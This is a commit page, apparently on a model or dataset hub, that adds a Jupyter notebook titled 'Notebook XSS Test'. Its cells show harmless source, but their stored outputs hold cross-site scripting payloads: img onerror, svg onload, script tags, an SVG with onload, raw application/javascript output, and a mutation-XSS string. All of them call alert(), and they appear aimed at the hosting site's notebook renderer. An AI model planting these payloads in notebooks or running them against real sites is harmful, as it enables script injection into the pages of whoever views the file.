FIRSTACCOUNT69 commited on
Commit
98128df
·
verified ·
1 Parent(s): 56315b9

Add notebook

Browse files
Files changed (1) hide show
  1. xss_test.ipynb +1 -0
xss_test.ipynb ADDED
@@ -0,0 +1 @@
 
 
1
+ {"nbformat": 4, "nbformat_minor": 5, "metadata": {"kernelspec": {"display_name": "Python 3", "language": "python", "name": "python3"}, "language_info": {"name": "python", "version": "3.9.0"}}, "cells": [{"cell_type": "markdown", "metadata": {}, "source": ["# Notebook XSS Test"], "id": "c1"}, {"cell_type": "code", "metadata": {}, "source": ["print('hello')"], "id": "c2", "execution_count": 1, "outputs": [{"output_type": "display_data", "metadata": {}, "data": {"text/html": ["<img src=x onerror=alert(document.domain)>", "<svg onload=alert(1)>", "<script>alert(1)</script>"]}}]}, {"cell_type": "code", "metadata": {}, "source": ["# SVG"], "id": "c3", "execution_count": 2, "outputs": [{"output_type": "display_data", "metadata": {}, "data": {"image/svg+xml": ["<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'><circle r='50'/></svg>"]}}]}, {"cell_type": "code", "metadata": {}, "source": ["# JS"], "id": "c4", "execution_count": 3, "outputs": [{"output_type": "display_data", "metadata": {}, "data": {"application/javascript": ["alert(document.domain)"]}}]}, {"cell_type": "code", "metadata": {}, "source": ["# Mutation"], "id": "c5", "execution_count": 4, "outputs": [{"output_type": "display_data", "metadata": {}, "data": {"text/html": ["<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>"]}}]}]}